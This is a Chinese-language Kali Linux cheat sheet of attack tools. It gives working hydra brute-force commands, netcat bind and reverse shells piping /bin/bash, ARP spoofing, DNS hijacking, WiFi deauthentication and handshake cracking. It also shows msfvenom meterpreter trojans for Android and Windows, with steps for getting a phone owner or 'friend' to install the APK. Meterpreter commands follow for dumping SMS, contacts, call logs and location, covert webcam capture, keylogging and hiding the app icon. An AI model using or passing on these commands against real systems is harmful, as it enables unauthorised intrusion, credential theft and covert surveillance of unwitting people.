Kali笔记(第一版)

kail教程

常用协议及端口

kail工具教程

  • 字典生成工具:crunch

  • 目录猜解工具:dirbuster+dirb-gendict

  • 域名解析:dig(权威)/nslookup(非权威)

  • 路由追踪:traceroute(Linux)/tracert(Win)

  • 端口开放:telnet(single)/nc(multi)

  • 端口服务:nmap

  • 服务暴力破解:hydra(command)/sparta(GUI)

  • 网站建站技术:whatweb

  • 木马生成:msfvenom

  • sql注入:sqlmap

  • wifi破解:aircrack-ng , Fern Wifi Crachker,Reaver,wifite

  • 修改主机Mac地址:Macchanger

  • 暴力破解密码 hydra

  • whois

  • nslookup DNS侦查

    查看域名ip地址 nslook baidu.com

    //查看mx型记录
    ┌──(xueyaoxuan㉿hersnow)-[~]
    └─$ nslookup                                                                                                                                                                                   
    > set type=mx
    > baidu.com
    

    查看该域名使用的邮件服务器

Kail自带的字典

在kail中是自带字典的,可以通过/usr/share/wordlists/dirb路径进行查看,当然都是txt文件,也可以自己向里面添加。

文件名 介绍

big.txt	大的字典
small.txt	小的字典
catala.txt	项目配置字典
common.txt	公共字典
euskera.txt	数据目录字典
extensions_common.txt	常用文件扩展名字典
indexes.txt	首页字典
mutations_common.txt	备份扩展名
spanish.txt	方法名或库目录
others	扩展目录,默认用户名、默认密码等
stress	压力测试
vulns	漏洞测试

Hydra九头蛇

尝试在给定的 SSH 服务器上使用具有 6 个线程 () 的密码列表 () 以 root 用户 () 身份登录 ():

hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 ssh://192.168.1.123
hydra -L user.txt -P password.txt -t 2 -vV -e ns 192.168.154.131 ssh(协议,fpt,mysql)
hydra -l root -P passwd.txt -t 6 -vV -e ns 192.168.10.150 mysql

参数:

参数	介绍
-h	查看帮助菜单。
-R	继续从上一次进度接着破解。恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。)
-S	采用SSL链接。
-s	PORT 可通过这个参数指定非默认端口。

-C	FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M	FILE 指定目标列表文件一行一条。
-o	FILE 指定结果输出文件。
-f	在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t	TASKS 同时运行的线程数,默认为16。
-w	TIME 设置最大超时的时间,单位秒,默认是30s。
-v/-V	显示详细过程。
-x -h	密码生成器帮助
-l login 小写,指定用户名进行破解
-L file 大写,指定用户的用户名字典
-p pass 小写,用于指定密码破解,很少使用,一般采用密码字典。
-P file 大写,用于指定密码字典。
-e ns 额外的选项,n:空密码试探,s:使用指定账户和密码试探
-M file 指定目标ip列表文件,批量破解。
-o file 指定结果输出文件
-f 找到第一对登录名或者密码的时候中止破解。
-x 自定义密码。
service:指定服务名,支持的服务跟协议有:telnet,ftp,pop3等等。
注意点:
1.自己创建字典,然后放在当前的目录下或者指定目录。
2.参数可以统一放在最后,格式比如hydra ip 服务 参数。
3.如果能确定用户名一项时候,比如web登录破解,直接用 -l就可以,然后剩余时间破解密码。
4.缺点,如果目标网站登录时候需要验证码就无法破解。
5.man hydra最万能。
6.或者hydra -U http-form等查看具体帮助。

路由器破解

hydra -l admin -x 6:10:1a.~!@#$%^&()-= -t 8 192.168.1.1 http-get 
#-l admin 为尝试破解的用户名。
 
# -x 6:10:1a. 表示枚举的密码由 数字、小写字母和单字符’.'等等组成,长度为 6 - 10 位。-t 8 表示分 8 个并行任务进行爆破尝试。192.168.1.1 为 Router 地址。http-get 为破解方式(协议)

Windows远程桌面

破解rdp(windows远程登录):
 
hydra ip地址 rdp -l administrator -P 密码字典.txt -V

Hydra密码生成器

hydra -x MIN:MAX:CHARSET

​ 密码暴力破解生成器 规则:MIN表示生成密码的最短长度;MAX表示生成密码的最长长度;CHARSET表示使用指定的字符生成密码,'a’表示所有的小写字母,'A’表示所有的大写字母,'1’表示所有的数字,对于其他字符,只需要添加在后面即可

-y	使用方式见-x,它表示charset的字符是实际的字符,而不是正则表达式
-x 3:5:a	生成的密码字典长度为3到5位,由所有的小写字母组成
-x 5:8:A1	生成的密码字典长度为5到8位,有所有的大写字母和数字组成
-x 5:5/%,.-	生成的密码字典长度为5位,只由’/ % , . -'这5种字符构成
-x 3:5:aA1 -y	生成的密码字典长度为3到5位,且只由’a A 1’这三种字符组成
-x 3:5:aA1.-+#	生成的密码字典长度为3到8位,由大小写字母+数字+.-+#进行组合。

netcat

端口扫描工具

-l	//监听  
-v	//详细输出
-p	//指定端口
-e  //绑定shell

nc -lvp 1234 //开启本地1234端口
nc 192.168.1.1  1234  //连接该ip的1234端口

开放shell

#1被2控制
nc -lvp 1234 -e /bin/bash   //将1234收到的内容与bash建立联系
nc ip 1234

反弹shell

#1控制2
nc -lvp 1234
nc ip 1234 -e /bin/bash

ncat

nmap对netcat的重新实现,更加强大

监听入站连接

通过 -l 选项,ncat 可以进入监听模式,使我们可以在指定端口监听入站连接。

ncat -l port_number

连接远程系统

使用下面命令可以用 nc 来连接远程系统,类似于telnet ip port ,建立一个与服务器的连接。可以发送命令

ncat IP_address port_number

连接 UDP 端口

默认情况下,nc 创建连接时只会连接 TCP 端口。 不过我们可以使用 -u 选项来连接到 UDP 端口

ncat -l -u 1234

假设我们想发送或者说测试某个远程主机 UDP 端口的连通性,我们可以使用下面命令

ncat -v -u {host-ip} {udp-port}

比如

ncat -v -u 192.168.105.150 53
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.105.150:53

将 nc 作为聊天工具

nc 也可以作为聊天工具来用,我们可以配置服务器监听某个端口,然后从远程主机上连接到服务器的这个端口,就可以开始发送消息了。 在服务器这端运行:

ncat -l 8080

在远程客户端主机上运行:

ncat 192.168.1.100 8080

之后开始发送消息,这些消息会在服务器终端上显示出来。

将 nc 作为代理

nc 也可以用来做代理。比如下面这个例子

ncat -l 8080 | ncat 192.168.1.200 80

所有发往我们服务器 8080 端口的连接都会自动转发到 192.168.1.200 上的 80 端口。 不过由于我们使用了管道,数据只能被单向传输。 要同时能够接受返回的数据,我们需要创建一个双向管道。 使用下面命令可以做到这点

mkfifo 2way
ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way

现在你可以通过 nc 代理来收发数据了

使用 nc 拷贝文件

nc 还能用来在系统间拷贝文件,虽然这么做并不推荐,因为绝大多数系统默认都安装了 ssh/scp。 不过如果你恰好遇见个没有 ssh/scp 的系统的话, 你可以用 nc 来作最后的努力。

在要接受数据的机器上启动 nc 并让它进入监听模式:

ncat -l  8080 > file.txt

1
现在去要被拷贝数据的机器上运行下面命令:

ncat 192.168.1.100 8080 --send-only < data.txt

1
这里,data.txt 是要发送的文件。 -–send-only 选项会在文件拷贝完后立即关闭连接。 如果不加该选项, 我们需要手工按下 ctrl+c 来关闭连接。

我们也可以用这种方法拷贝整个磁盘分区,不过请一定要小心

通过 nc 创建后门

nc 命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。 为了保护我们的系统,我们需要知道它是怎么做的。 创建后门的命令为:

ncat -l 10000 -e /bin/bash

-e 标志将一个 bash 与端口 10000 相连。现在客户端只要连接到服务器上的 10000 端口就能通过 bash 获取我们系统的完整访问权限:

ncat 192.168.1.100 10000

通过 nc 进行端口转发

我们通过选项 -c 来用 nc 进行端口转发,实现端口转发的语法为:

ncat -u -l  80 -c  'ncat -u -l 8080'

这样,所有连接到 80 端口的连接都会转发到 8080 端口

设置连接超时

nc 的监听模式会一直运行,直到手工终止。 不过我们可以通过选项 -w 设置超时时间:

ncat -w 10 192.168.1.100 8080

这会导致连接 10 秒后终止,不过这个选项只能用于客户端而不是服务端。

使用 -k 选项强制 nc 待命

当客户端从服务端断开连接后,过一段时间服务端也会停止监听。 但通过选项 -k 我们可以强制服务器保持连接并继续监听端口。 命令如下:

ncat -l -k 8080

Host

DNS侦查工具

theHarvester 邮箱收集

theharvester -d 域名  -l   限制数量   -b  邮箱(all表示所有邮箱,支持bing,baidu,google等)

参数

  • -l 限制并发搜索结果

  • -b 指定搜索引擎(google,pgp,bing,linkedin,baidu等)

  • -d 指定搜索对象

  • -h 使用Shodan数据库去搜索主机

  • -f 输出文件名并保存采集结果,可以保存为HTML或XML格式;如果不指定,采集信息仅作屏幕显示

theHarvester默认是不支持代理的,我们可以使用proxychains进行代理

最基本的使用

proxychains theharvester –d hasee.com –l 500 –bgoogle

Fern Wifi Cracker破解wife

Fern Wifi Cracker使用了Python语言和Python的Qt图形界面库,能够破解和恢复WEP / WPA / WPS的WIFI网络,它可以进行MITM中间人攻击。

网站https://code.google.com/p/fern-wifi-cracker/ 开源

Macchanger修改Mac地址

Macchanger这个小工具可以修改linux主机的mac地址

Crunch

Crunch是一种创建密码字典工具,按照指定的规则生成密码字典,可以灵活的制定自己的字典文件。使用Crunch工具生成的密码可以输出到屏幕,保存到文件、或另一个程序

arpspoof 断网攻击

arp欺骗及攻击

arpspoof   -i   网卡   -t    目标IP    网关
拦截该ip发给网关的数据包。   也可以使用反向欺骗,拦截网关发给网卡的数据包
arpspoof   -i   网卡   -t    网关    目标IP

它会不断的发送包去骗,需要按ctrl+Z或者 ctrl+C才能停止

第一个是会立马停止发送包

第二个不会立刻停止,会继续发送几个包,不过呢是告诉它真话,让它找对地方

nmap

NMAP学习笔记 - Cocowool - 博客园 (cnblogs.com)

nmap -sP 202.195.144.1-255
探测存活主机

扫描方式   PING Scan (sP)
PING扫描不同于其它的扫描方式,因为它只用于找出主机是否是存在在网络中的.它不是用来发现是否开放端口的.PING扫描需要ROOT权限,如果用户没有ROOT权限,PING扫描将会使用connect()调用.
nmap 192.168.1.1/24  扫描整个局域网
nmap 192.168.242.1   192.168.242.2 (检测两个目标)
nmap 192.168.1.1-100 (扫描IP地址为192.168.1.1-192.168.1.100内的所有主机)

如果你有一个ip地址列表,将这个保存为一个txt文件,和namp在同一目录下,扫描这个txt内的所有主机,命令如下:
#nmap -iL target.txt
nmap 192.168.242.1 (检测端口开放情况) 1-10000
-vv参数可以对结果详细输出
nmap -p 80,3389,22,21,8080,3306     202.195.144.1-255 --open
扫描这些端口,从144.1到144.255只显示open的端口

nmap默认会扫描1000个有价值的端口并不会扫描全部的65535个端口

nmap -O 192.168.21.1
探测目标的操作系统
-sT		# TCP扫描
-sV		# 探测端口及版本服务信息

-sV 版本检测功能可能并不准确,因为应用程序的banner学习可能并没有随版本更新尔更新

nmap -sF 192.168.1.8
        FIN scan (sF)
        有时候Tcp SYN扫描不是最佳的扫描模式,因为有防火墙的存在.目标主机有时候可能有IDS和IPS系统的存在,防火墙会阻止掉SYN数据包。送一个设置了FIN标志的数据包并不需要完成TCP的握手.
        FIN扫描也不会在目标主机上创建日志(FIN扫描的优势之一).个类型的扫描都是具有差异性的,FIN扫描发送的包只包含FIN标识,NULL扫描不发送数据包上的任何字节,XMAS扫描发送FIN、PSH和URG标识的数据包.

nmap -sV 192.168.1.1
        版本检测是用来扫描目标主机和端口上运行的软件的版本.它不同于其它的扫描技术,它不是用来扫描目标主机上开放的端口,不过它需要从开放的端口获取信息来判断软件的版本.使用版本检测扫描之前需要先用TCP SYN扫描开放了哪些端口.
nmap [参数] [IP地址/域名/网段]
# 不加任何参数,常规扫描

-v 详细显示扫描结果以及扫描状态
-p 端口	# 输入格式:80,81,82,83,84 或者是:80-84
# 端口最多是65535个
-sT		# TCP扫描
-sV		# 探测端口及版本服务信息

-sS		# 加了这个参数就是半连接扫描(SYN扫描),不加就是全连接扫描
-sU		# UDP扫描

-O		# 只扫描系统类型


-o      # 将扫描结果保存为文件
-oA		#保存为需要的文件类型,具体可以搜索
-oX		# 输出扫描结果,"X"是指定的文件类型为.xml

-A		# 对操作系统和开放端口的软件版本还有traceroute路由进行扫描
-sn		# Ping扫描,关闭端口扫描,扫描快,容易被防火墙ban
-Pn		# 非ping扫描
-F		# 快速扫描


-T1-6	# 级别越高扫描速度越快,但容易被防火墙或IDS检测并屏蔽掉,推荐使用T4
--randomize-hosts		# 随机扫描,对目标主机的扫描顺序随机划分
--scan-=delay [数字]ms	# 延时扫描,单位秒,调整探针之间的延迟
--version-light			# 设定侦测等级为2
--traceroute			# 路由跟踪

三次握手

image-20230326145211376

NSE --nmap脚本引擎

  • NSE脚本清单 /usr/share/nmap/scripts目录下
nmap --script-help  脚本名称    //查看脚本信息
nmap --script-help default    //查看默认脚本信息
nmap -sC  //在执行完扫描后运行default中所有脚本,最基本但安全可靠,可以帮我们扫描漏洞
nmap --script=脚本名称   端口    //搭载指定脚本扫描

Nessus漏洞扫描工具

Kali没有预装

wifite暴力破解wifi

wifite

若是命令输入之后还没有开始扫描,应该是网卡的监听模式没有开启,这时候,关闭这个程序,新开窗口输入
airmon-ng star wlan0 (打开wlan0网卡监听模式)然后再次打开wifite软件

等待WiFi信息加载,这时候可以看到我们已经搜索到六个WiFi信号。

NUM Essid CH ENCR POWER WPS? CLIENT
WiFi序号 WiFi名称 信道 加密方式 信号强度 是否支持wps 当前连接用户(已连接WiFi的用户)

若是支持wps破解的时候破解时间可能会减少,破解WiFi的时候必须是要有用户连接这个WiFi的,否则无法抓到握手包

然后我们看好了想破解的WiFi,按下组合键(Ctrl+c)然后输入WiFi名称前的序号,等待程序自动破解过程显示了破解WiFi的名称,破解进度,完成之后会显示破解WiFi的密码信息。img

wifite默认是有密码包的,不过所使用的密码包太小了,我们可以自定义密码包,

密码包的路径是 /usr/share/dict/wordlist-probable.txt

我们可以根据自己的需要来替换这个密码包。

Aircrack-ng暴力破解wife

一、什么是Aircrack-ng

Aircrack是破解WEP/WPA/WPA2加密的主流工具之一

Aircrack-ng是一个与802.11标准的无线网络分析有关的安全软件,主要功能有:网络侦测,数据包嗅探,WEP和WPA/WPA2-PSK破解。Aircrack-ng可以工作在任何支持监听模式的无线网卡上(设备列表请参阅其官方网站)并嗅探802.11a,802.11b,802.11g的数据。

WPS是由Wi-Fi联盟所推出的全新Wi-Fi安全防护设定(Wi-Fi Protected Setup)标准,主要是为了解决长久以来无线网络加密认证设定的步骤过于繁杂艰难之弊病。

– Aircrack-ng 无线密码破解
– Aireplay-ng 流量生成和客户端认证
– Airodump-ng 数据包捕获
– Airbase-ng  虚假接入点配置

插入网卡设备

  1. 进入Kali系统之后插入自己的网卡
  2. 右键查看网卡是否连接到Kali
Kali使用Aircrack-ng进行暴力破解WIFI密码

二、破解流程

1.进入管理员模式

命令: sudo su
解释: 不在管理员模式下运行可能会有权限不够的提示

Kali使用Aircrack-ng进行暴力破解WIFI密码

提示:执行命令之后输入Kali的密码,密码是被隐藏的,直接输入然后回车即可

2.查看网卡信息

命令: iwconfig/ifconfig
解释: iwconfig查看网卡的信息、ifconfig查看新连接的设备
wlan0就是我们的无线网卡

Kali使用Aircrack-ng进行暴力破解WIFI密码

3.杀掉冲突进程

命令:

 airmon-ng check kill

解释: 杀死进程可以让搜索更准确,不会受到影响

Kali使用Aircrack-ng进行暴力破解WIFI密码

4.查看网卡是否支持监听模式

命令:

 airmon-ng

出现你的网卡信息就说明你的网卡支持监听

Kali使用Aircrack-ng进行暴力破解WIFI密码

5.开启无线网卡监听模式

命令:

 airmon-ng start wlan0

解释: start开启哪个接口 wlan0是接口的名字

再用iwconfig查看一下网卡信息,wlan0后面多了个mon,wlan0mon就说明已经开启监听了

Kali使用Aircrack-ng进行暴力破解WIFI密码 Kali使用Aircrack-ng进行暴力破解WIFI密码

5.获取附近的AP信息(搜wifi

命令:

airodump-ng wlan0mon

解释: BSSID:WIFI的mac地址、PWR:信号强度(值越小信号强度强)、Data:监听期间流量总合、CH:信道、ENC:加密算法、ESSID:WIFI名称

BSSID:wifi路由的 Mac地址,

Data 当前wifi数据大小,有数据就表明有人正在使用,你就可以把它作为一个选择了。

CH :渠道,后面的攻击要用到。

ESSID: wifi的 名字。还有,他的排序是按信号的强弱来排序的,越往上信号越强。PWR 是强度,不用记,慢慢的就知道了。

Kali使用Aircrack-ng进行暴力破解WIFI密码

提示:找到网络之后CTRL+Z结束搜索就可以

6.开始抓取握手包并保存成文件

命令:

 airodump-ng -c (频道号) --bssid (MAC地址) -w (抓取的数据包的保存位置) wlan0mon

解释:

1.c:信道

2.bssid:BSSID值

3.w:捕获的握手包要保存到的路径

我要破解的目标网络是Test,CH(信道)是11,MAC地址是E2:D4:64:02:73:A8,我在根目录下创建了一个名为1的文件夹
输入命令: airodump-ng -c 11 --bssid E2:D4:64:02:73:A8 -w 1/ wlan0mon

Kali使用Aircrack-ng进行暴力破解WIFI密码

提示:所有的数值都要写刚刚查到要破解的WIFI其中一个客户端的值

(1) 等待新的设备连接WIFI

要想抓到握手包就得进行洪水攻击,攻击的时候连接路由器的手机或者电脑会断开连接然后会自动连接wifi,连接的过程中就有一个数据的传送,而上面的airodump-ng就是要抓取这些数据。拿到需要破解的握手包即 .cap 文件

当新的客户端连接时,客户端输入密码连接就可以抓到握手包,右上角出现WPA时就表示已经抓到了对方的握手包

Kali使用Aircrack-ng进行暴力破解WIFI密码

(2) 发起洪水攻击

注意:执行主动攻击的时候新建一个终端执行命令,原来的抓包终端不要结束

命令:

aireplay-ng -o 2 -a BSSID(MAC地址) -c STATION wlan0mon

解释:

2:表示攻击次数,0表示一直攻击,让当前路由下的所有连接断开

aireplay-ng -0 0 -a 28:6C:07:53:53:80 wlam0mon

a :指定无线路由器BSSID

c :指定强制断开的设备MAC

执行命令aireplay-ng -o 2 -a E2:D4:64:02:73:A8 -c C8:94:02:6D:93:F3 wlan0mon
捕捉到握手包时就停止攻击

Kali使用Aircrack-ng进行暴力破解WIFI密码

6. 破解握手包密码

命令:

aircrack-ng -w ~/Desktop/passwd/408.txt ~/Desktop/cap/2.4G-01.cap
前面是密码包的位置,后面是抓到包的位置,破解的是  .cap 文件
aircrack-ng -a2 -b E2:D4:64:02:73:A8 -w 字典.txt 1/-01.cap

解释:

a2:WPA的握手包

b :破解的WIFI的BSSID

w :指定字典文件

*** :.cap是抓取到握手包的数据包文件**

最后就是等待跑字典了,下面就是破解的WIFI密码,密码是20041101

Kali使用Aircrack-ng进行暴力破解WIFI密码

7.关闭监听模式

命令: airmon-ng stop wlan0mon
在监听模式下,kali不能连接网络

ettercap 欺骗劫持

​ 嗅探工具/arp欺骗

密码监听

ettercap -Tq -i eth0

DNS劫持

编辑entercap的DNS欺骗文件

nano /etc/ettercap/etter.dns
img

Wireshark抓包

抓包工具

开启混杂模式

局域网的所有流量都会发送给我们的电脑,默认情况下,我们的电脑只会对自己mac的流量进行解包,而丢弃其他mac的数据包。
开启混杂模式后,我们就可以解析其他mac的数据包,因此,我们使用Wireshark时,通常都会开启混杂模式

1. 抓包过滤器

抓包过滤器在抓包前使用,它的过滤有一个基本的语法格式:BPF语法格式。

BPF语法

BPF(全称 Berkeley Packet Filter),中文叫伯克利封包过滤器,它有四个核心元素:类型、方向、协议 和 逻辑运算符。

  1. 类型Type:主机(host)、网段(net)、端口(port)
  2. 方向Dir:源地址(src)、目标地址(dst)
  3. 协议Proto:各种网络协议,比如:tcp、udp、http
  4. 逻辑运算符:与( && )、或( || )、非( !)

四个元素可以自由组合,比如:

  • src host 192.168.31.1:抓取源IP为 192.168.31.1 的数据包
  • tcp || udp:抓取 TCP 或者 UDP 协议的数据包

2. 显示过滤器

显示过滤器在抓包后或者抓包的过程中使用。

语法结构

显示过滤器的语法包含5个核心元素:IP、端口、协议、比较运算符和逻辑运算符。

  1. IP地址:ip.addr、ip.src、ip.dst
  2. 端口:tcp.port、tcp.srcport、tcp.dstport
  3. 协议:tcp、udp、http
  4. 比较运算符:> < == >= <= !=
  5. 逻辑运算符:and、or、not、xor(有且仅有一个条件被满足)

5个核心元素可以自由组合,比如:

  • ip.addr == 192.168.32.121 and tcp:显示IP地址为 192.168.32.121 的tcp数据包
  • tcp.port == 80 :显示端口为 80 的数据包

数据报信息

(1)Frame: 物理层的数据帧概况

(2)Ethernet II: 数据链路层以太网帧头部信息

(3)Internet Protocol Version 4: 互联网层IP包头部信息

(4)Transmission Control Protocol: 传输层T的数据段头部信息,此处是TCP

(5)Hypertext Transfer Protocol: 应用层的信息,此处是HTTP协议

driftnet 截取图片

driftnet -d /home/xyx/picture/ -b -i eth0
	主要参数:
-b    捕获到新的图片时发声
-i      选择监听接口
-f     读取一个指定pcap数据包中的图片
-a  后台模式:
-m  指定保存图片数的数目
-d  指定保存图片的路径
-x   指定保存图片的前缀名123456789

靶机需要通过http方式来浏览图片,若是使用https方式则因数据加密而无法捕获图片。测试时可多挑选几个http网站进行测试。

  执行driftnet程序时,****可以选择实时显示捕获图片或者保存捕获的图片以便之后分析。

msfconsole的木马监听

监听木马生成

msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.46 LPORT=8888 R > Test.apk

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.133 LPORT=443 -f exe -o met.exe

cp Test.apk /var/www/html
service apache2 start

生成apk(目标手机安装)****

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.176 LPORT=8888 R > tst.apk

注意:ip地址是kali的,不是目标手机的

1.开启kali自带的web服务器

sudo service apache2 start

2.将apk拷贝到服务器根目录

sudo cp tst.apk /var/www/html

3.目标手机下载安装txt.apk

方法一:目标手机直接在网址栏输入kali ip,会自动下载安装apk
方法二:直接ls找到apk文件,复制后发送给好友,好友点击下载安装

设置监听会话,启动msfconsole渗透利用框架程序

msfconsole

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.123.10 //kali 本机的ip
set LPORT 9055  //监听上线的端口 需要与生成木马的时候填写一样
exploit   //执行监听

启动监听程序

msfconsole

使用一个模块在kali设置一个监听的程序

use  exploit/multi/handler

设置载荷

set payload android/meterpreter/reverse_tcp

看一下该载荷需要设置什么参数

show options

设置参数

set LHOST 192.168.123.10 //kali 本机的ip
set LPORT 8888  //监听上线的端口 需要与生成木马的时候填写一样

执行监听端程序

run

目标手机运行这个程序后

获取目标手机信息

1.获取手机系统信息

sysinfo

2.获取手机安装的哪些软件

app_list

3.目标手机拍照并回显

webcam_list  //查看相机列表
webcam_snap -i 1//指定拍照相机,默认为1

4.目标手机信息

dump_sms

5.获得目标手机通话记录

dump_calllog

6.GPS定位目标手机

geolocate

7.查看手机通信录

dump_contacts

全部命令

手机
sysinfo 查看手机信息
send_sms //从目标会话发送短消息
webcam_snap //隐秘拍照功能
webcam_snap //从指定的摄像头获取快照
webcam_list 查看手机有几个摄像头
webcam_stream 打开手机后置摄像头
dump_contacts 导出电话号码
dump_sms 导出短信信息
dump_calllog //获取通话记录

check_root //检查设备是否有根
hide_app_icon //隐藏手机端木马程序图标

geolocate //获取手机的当前的经纬度
set_audio_mode //设置振铃模式

sqlite_query //从存储中查询SQLite数据库
wakelock //启用/禁用wakelock功能
wlan_geolocation //使用WLAN信息获取当前时延
app_install //请求安装apk文件
app_list //列出设备中已安装的应用程序
app_run //为包名启动Main activity
app_uninstall //请求卸载应用程序
电脑
meterpreter命令:
keyscan_start 开始捕获击键(开始键盘记录)
keyscan_dump 转储按键缓冲(下载键盘记录)
keyscan_stop 停止捕获击键(停止键盘记录)
record_mic X秒从默认的麦克风record_mic音频记录(音频录制)
webcam_chat 开始视频聊天(视频,对方会有弹窗)
webcam_list 单摄像头(查看摄像头列表)
webcam_snap 采取快照从指定的摄像头(摄像头拍摄一张照片)
webcam_stream 播放视频流从指定的摄像头(开启摄像头监控)
enumdesktops 列出所有可访问的桌面和窗口站(窗体列表)
getdesktop 得到当前的Meterpreter桌面
reboot 重新启动远程计算机
shutdown 关闭远程计算机
shell 放入系统命令 shell
enumdesktops 列出所有可访问的桌面和窗口站
getdesktop 获取当前的meterpreter桌面
idletime 返回远程用户空闲的秒数
keyboard_send 发送击键
keyevent 发送按键事件
keyscan_dump 转储击键缓冲区
keyscan_start 开始捕获击键
keyscan_stop 停止捕获击键
mouse 发送鼠标事件
screenshare 实时观看远程用户桌面
screenshot 抓取交互式桌面的屏幕截图
setdesktop 更改 Meterpreters 当前桌面
uictl 控制一些用户界面组件
record_mic 从默认麦克风录制音频 X 秒
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定的网络摄像头拍摄快照
webcam_stream 播放来自指定网络摄像头的视频流
play 在目标系统上播放波形音频文件 (.wav)
getsystem 尝试将您的权限提升到本地系统的权限
execute -f notepad 打开记事本

Metasploit渗透框架

目前最流行、最强大、最具扩展性的渗透测试平台软件

MSF--Metasploit Framework模块

MSF有6个模块,分别对上面目录下的6个子文件夹:

auxiliary#
负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块

exploits#
利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动) 

payloads#
成功exploit之后,真正在目标系统执行的代码或指令。分为3种类型的payload,分别是single、stages和stagers。shellcode是特殊的payload,用于拿shell。

single:all-in-one。完整的payload,这些payload都是一体化的,不需要依赖外部的库和包。
stagers:目标计算机内存有限时,先传输一个较小的payload用于建立连接
stages:利用stagers建立的连接下载后续payload 
encoders#
对payload进行加密,躲避AntiVirus检查的模块

nops#
提高payload稳定性及维持大小。在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行的Shellcode之前添加一段空指令区, 这样当触发渗透攻击后跳转执行ShellCode时,有一个较大的安全着陆区,从而避免受到内存 地址随机化、返回地址计算偏差等原因造成的ShellCode执行失败,提高渗透攻击的可靠性。

post#
后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板攻击等操作 

更新模块

msfupdate

Msfconsole命令行启动

  • 启动PostgreSQL

    service  postgresql   start
    
  • 启动命令行控制界面

    service  msconsole
    
    image-20230324220658763

步骤

  1. 收集信息查找漏洞
  2. 根据漏洞搜索并选用对应攻击模块
  3. 搜索选用有效载荷
  4. 查看需要设置的参数,如ip、端口
  5. 设置参数
  6. 启动

参数

  • help或?

    • 显示msfconsole可以使用的命令。help ,显示某一命令的用法。
  • connect

    • 可以理解成MSF中的nc命令,可以使用connect -h查看详细用法。
    • connect [options]
  • load/unload

    • 调用外部的扫描命令,比如openvas
    • img
    • img
  • loadpath

    • 加载自己的模块
  • route

    • 添加一条路由。比如发往某个子网的流量都通过攻陷的机器发送。
  • search

    • 搜索模块
    • 简单搜索:seach 服务/漏洞名称
    • 多条件搜索缩小范围:search name:mysql type:exploit platform:linux
    • Rank为漏洞等级
    • 图片.png
  • info

    • 查看模块的信息
    • info
    • 如果用use使用了一个模块,直接输入info即可查看
  • use

    • search找到模块后,用use使用模块

    •   use exploit/windows/smb/ms08_067_netapi
      
    • 用use使用一个模块后,可以使用 show options查看我们需要配置的选项、使用show targets选择目标主机系统、使用show payloads选择payload、使用show advanced查看高级参数、使用show evasion查看用来做混淆、逃避的模块。

    • set/setg

      • 设置参数,比如要渗透的主机IP、payload等。我们可以用show missing查看没有设置的参数
      • setg是设置全局变量,避免每个模块都要输入相同的参数
    • unset/unsetg

      • 取消设置参数。unsetg是取消设置的全局变量
    • save

      • 设置的参数在下一次启动的时候不会生效,可以用save保存我们使用过程的设置。
    • check

      • 检查目标是否真的存在这个漏洞,大部分模块没有check功能
    • back

      • 回到msfconsole根目录
      • img
  • show

    • (具体漏洞中查看信息)

    • 用show命令查看msf提供的资源。在根目录下执行的话,由于有些模块资源比较多,需要执行show命令要较长的时间

    • show exploits:查看可以使用的exploit

    • 除了exploits,还支持all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options。有些选项需要用use使用一个模块后才能使用,比如给show targets。

      msf6 exploit(windows/smb/ms08_067_netapi) > show targets   //查看目标主机系统对应的编号
      
      msf6 exploit(windows/smb/ms08_067_netapi) >show options    //查看该模块需要设置的参数
      msf6 exploit(windows/smb/ms08_067_netapi) >show  payloads     //查看有效载荷
      
      
  • set/setg

    • 设置参数,比如要渗透的主机IP、payload等。我们可以用show missing查看没有设置的参数

    • setg是设置全局变量,避免每个模块都要输入相同的参数

    •   set  payload  <选定的载荷名称>
        set  RHOST  ip地址
        set  RPORT  攻击对象的端口
        set  target   <目标系统编号>   //系统编号使用show  targets查看
      
  • run或exploit

    • 开始使用模块

    • exploit -j:以后台的方式运行

  • sessions

    • 查看当前已经建立的sessions,说明已经拿到了shell

    • 进入一个session交互

      sessions -i id/session 序号             
      

msfdb

用来管理MSF的数据库的命令

msfdb init     # start and initialize the database
msfdb reinit   # delete and reinitialize the database
msfdb delete   # delete database and stop using it
msfdb start    # start the database
msfdb stop     # stop the database
msfdb status   # check service status
msfdb run      # start the database and run msfconsole

Msfvenom模块

通过计算机用户的不良操作习惯入侵系统

木马生成命令

msfvenom -p 模板 -e 编码模板 -i 编码次数 -b 避免字符集 LHOST(ifconfig查看) LPORT(监听端口) -f 输出文件类型 > 文件名
-l payloads   	查看所有有效载荷,可以用|过滤		msfvenom -l payloads | grep windows
-p            	选定有效载荷
-o 				保存为文件
//查看模块载荷参数   “msfvenom -p  模块名称  -o ”//
-f 				指定生成木马类型  exe asp			msfvenom -p  模块名称  LHOST=192.168.1.1  -f exe
-e				编码
img

msfvenom生成的木马可执行文件写入shell.exe文件中

之后只要想办法将exe可执行文件传送到目标主机,再启动msf监听获取靶机返回信息

一般的木马程序都会被检测到需要进行伪装

#普通生成
msfvenom -p <payload> <payload options> -f <format> -o <path>
msfvenom -p windows/meterpreter/reverse_tcp  -f exe -o payload.exe

#编码生成
msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e 编码方式  -i编码次数 -f 输出格式 -o 输出文件
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888 -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe

multi/handler模块

受理监听信息

use multi/handler
set PAYLOAD <模块>
show  option  //查看配置信息
set   LHOST 192.168.1.1
exploit //启动

DDoS攻击

